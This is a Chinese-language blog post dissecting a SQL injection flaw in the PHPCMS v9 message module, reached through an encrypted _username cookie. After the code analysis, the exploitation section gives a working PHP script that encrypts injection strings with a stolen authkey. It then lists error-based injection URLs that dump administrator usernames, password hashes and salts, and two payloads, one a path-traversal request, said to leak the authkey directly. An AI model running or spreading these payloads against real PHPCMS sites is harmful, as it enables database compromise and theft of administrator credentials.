PHPCms Sqli 0day?

0kee Phpcmsv9 注入0day分析

0x01 注入分析

http://0kee.360.cn/skywolf_demo/

根据视频我得知注入来自于phpcms/modules/message/classes/message_tag.class.php中check_new函数

    public function check_new(){
    $where = array('send_to_id'=>$this->_username,'folder'=>'inbox','status'=>'1');
    $new_count = $this->message_db->count($where);
    //检查是否有未查看的新系统短信
    //检查该会员所在会员组 的系统公告,再查询message_data表. 是否有记录. 无则加入 未读NUM. 
    $group_num = 0;
    $group_where = array('typeid'=>'1','groupid'=>$this->_groupid,'status'=>'1');
    $group_arr = $this->message_group_db->select($group_where);
    foreach ($group_arr as $groupid=>$group){
        $group_message_id = $group['id'];
        $where = array('group_message_id'=>$group_message_id,'userid'=>$this->_userid);
        $result = $this->message_data_db->select($where);
        if(!$result) $group_num++;
    }
    //生成一个新数组,并返回此数组
    $new_arr = array();
    $new_arr['new_count'] = $new_count;
    $new_arr['new_group_count'] = $group_num;
    return $new_arr;
}

根据视频可以看出

$new_count = $this->message_db->count($where);

出现了注入 $where中唯一可控的变量的就是$this->_username

$where = array('send_to_id'=>$this->_username,'folder'=>'inbox','status'=>'1');

我们往上看得知$this->_username是从get_cookie函数中取_username得到的

$this->_username = param::get_cookie('_username');

跟进get_cookie函数

    public static function get_cookie($var, $default = '') {
    $var = pc_base::load_config('system','cookie_pre').$var;
    $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
    if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
        $value = intval($value);
    } elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { //  site_model auth
        $value = safe_replace($value);
    }
    return $value;

可以看到Cookie的参数名经过sys_auth函数加密了 所以这个注入其实是和

http://www.wooyun.org/bugs/wooyun-2015-0105242

等AuthKey泄漏造成的注射差不多的

0x02 漏洞利用

这个漏洞鸡肋的地方就在于必须事先知道authkey 但是我相信各位都有各自得到authkey的方法:)

保存以下php文件在web服务器

<?php
function sys_auth($string, $operation = 'ENCODE', $key , $expiry = 0) {
    $ckey_length = 4;
    $key = md5($key != '' ? $key : '');
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result,26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
    }
}

$sql = $_GET['sql'];
$key = $_GET['key'];
echo sys_auth($sql,'ENCODE',$key);
?>

爆管理员帐号密码构造(自行修改key)

http://127.0.0.1/phpcms/hack.php?sql=test123' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e)FROM v9_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23&key=w52T7B1mmBvHzyrVM0p1

访问得到authkey加密后的注入语句 复制后修改cookie中的username 效果如图

爆当前数据库用户

http://127.0.0.1/phpcms/hack.php?sql=a' and EXP(~(SELECT*FROM(SELECT concat(user(),0x3a,database()))a)) %23&key=w52T7B1mmBvHzyrVM0p1

其实知道AuthKey的话 很多地方都可以注噢~~ :) 找到女朋友就放其他authkey的注入:(

@Rickgray Blog的错误注入快加上EXP!

偷偷放2个可以一键爆Authkey的payload:( 如果还想要 推荐多看phpcms用户中心

/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9+DjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQ
/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
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